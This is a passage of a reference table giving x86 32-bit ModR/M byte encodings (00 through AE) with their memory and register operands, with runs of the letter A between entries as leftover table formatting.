Src/Dst, Src/Dst Operand AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 00 A [EAX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 01 A [ECX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 02 A [EDX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 03 A [EBX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 04 A [--][--], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 05 A [disp32], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 06 A [ESI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 07 A [EDI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 08 A [EAX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 09 A [ECX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 0A A [EDX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 0B A [EBX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 0C A [--][--], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 0D A [disp32], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 0E A [ESI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 0F A [EDI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 10 A [EAX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 11 A [ECX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 12 A [EDX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 13 A [EBX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 14 A [--][--], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 15 A [disp32], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 16 A [ESI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 17 A [EDI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 18 A [EAX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 19 A [ECX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 1A A [EDX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 1B A [EBX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 1C A [--][--], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 1D A [disp32], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 1E A [ESI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 1F A [EDI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 20 A [EAX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 21 A [ECX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 22 A [EDX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 23 A [EBX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 24 A [--][--], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 25 A [disp32], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 26 A [ESI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 27 A [EDI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 28 A [EAX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 29 A [ECX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 2A A [EDX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 2B A [EBX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 2C A [--][--], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 2D A [disp32], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 2E A [ESI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 2F A [EDI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 30 A [EAX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 31 A [ECX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 32 A [EDX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 33 A [EBX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 34 A [--][--], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 35 A [disp32], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 36 A [ESI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 37 A [EDI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 38 A [EAX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 39 A [ECX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 3A A [EDX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 3B A [EBX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 3C A [--][--], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 3D A [disp32], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 3E A [ESI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 3F A [EDI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 40 A [disp8+EAX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 41 A [disp8+ECX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 42 A [disp8+EDX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 43 A [disp8+EBX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 44 A [disp8+[--][--]], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 45 A [disp8+EBP], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 46 A [disp8+ESI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 47 A [disp8+EDI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 48 A [disp8+EAX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 49 A [disp8+ECX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 4A A [disp8+EDX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 4B A [disp8+EBX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 4C A [disp8+[--][--]], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 4D A [disp8+EBP], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 4E A [disp8+ESI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 4F A [disp8+EDI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 50 A [disp8+EAX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 51 A [disp8+ECX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 52 A [disp8+EDX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 53 A [disp8+EBX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 54 A [disp8+[--][--]], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 55 A [disp8+EBP], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 56 A [disp8+ESI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 57 A [disp8+EDI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 58 A [disp8+EAX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 59 A [disp8+ECX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 5A A [disp8+EDX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 5B A [disp8+EBX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 5C A [disp8+[--][--]], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 5D A [disp8+EBP], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 5E A [disp8+ESI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 5F A [disp8+EDI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 60 A [disp8+EAX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 61 A [disp8+ECX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 62 A [disp8+EDX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 63 A [disp8+EBX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 64 A [disp8+[--][--]], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 65 A [disp8+EBP], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 66 A [disp8+ESI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 67 A [disp8+EDI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 68 A [disp8+EAX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 69 A [disp8+ECX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 6A A [disp8+EDX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 6B A [disp8+EBX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 6C A [disp8+[--][--]], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 6D A [disp8+EBP], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 6E A [disp8+ESI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 6F A [disp8+EDI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 70 A [disp8+EAX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 71 A [disp8+ECX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 72 A [disp8+EDX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 73 A [disp8+EBX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 74 A [disp8+[--][--]], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 75 A [disp8+EBP], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 76 A [disp8+ESI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 77 A [disp8+EDI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 78 A [disp8+EAX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 79 A [disp8+ECX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 7A A [disp8+EDX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 7B A [disp8+EBX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 7C A [disp8+[--][--]], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 7D A [disp8+EBP], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 7E A [disp8+ESI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 7F A [disp8+EDI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 80 A [disp32+EAX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 81 A [disp32+ECX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 82 A [disp32+EDX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 83 A [disp32+EBX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 84 A [disp32+[--][--]], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 85 A [disp32+EBP], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 86 A [disp32+ESI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 87 A [disp32+EDI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 88 A [disp32+EAX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 89 A [disp32+ECX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 8A A [disp32+EDX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 8B A [disp32+EBX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 8C A [disp32+[--][--]], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 8D A [disp32+EBP], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 8E A [disp32+ESI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 8F A [disp32+EDI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 90 A [disp32+EAX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 91 A [disp32+ECX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 92 A [disp32+EDX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 93 A [disp32+EBX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 94 A [disp32+[--][--]], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 95 A [disp32+EBP], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 96 A [disp32+ESI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 97 A [disp32+EDI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 98 A [disp32+EAX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 99 A [disp32+ECX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 9A A [disp32+EDX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 9B A [disp32+EBX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 9C A [disp32+[--][--]], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 9D A [disp32+EBP], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 9E A [disp32+ESI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 9F A [disp32+EDI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A0 A [disp32+EAX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A1 A [disp32+ECX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A2 A [disp32+EDX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A3 A [disp32+EBX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A4 A [disp32+[--][--]], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A5 A [disp32+EBP], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A6 A [disp32+ESI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A7 A [disp32+EDI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A8 A [disp32+EAX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A9 A [disp32+ECX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AA A [disp32+EDX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AB A [disp32+EBX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AC A [disp32+[--][--]], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AD A [disp32+EBP], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AE A [disp32+ESI], 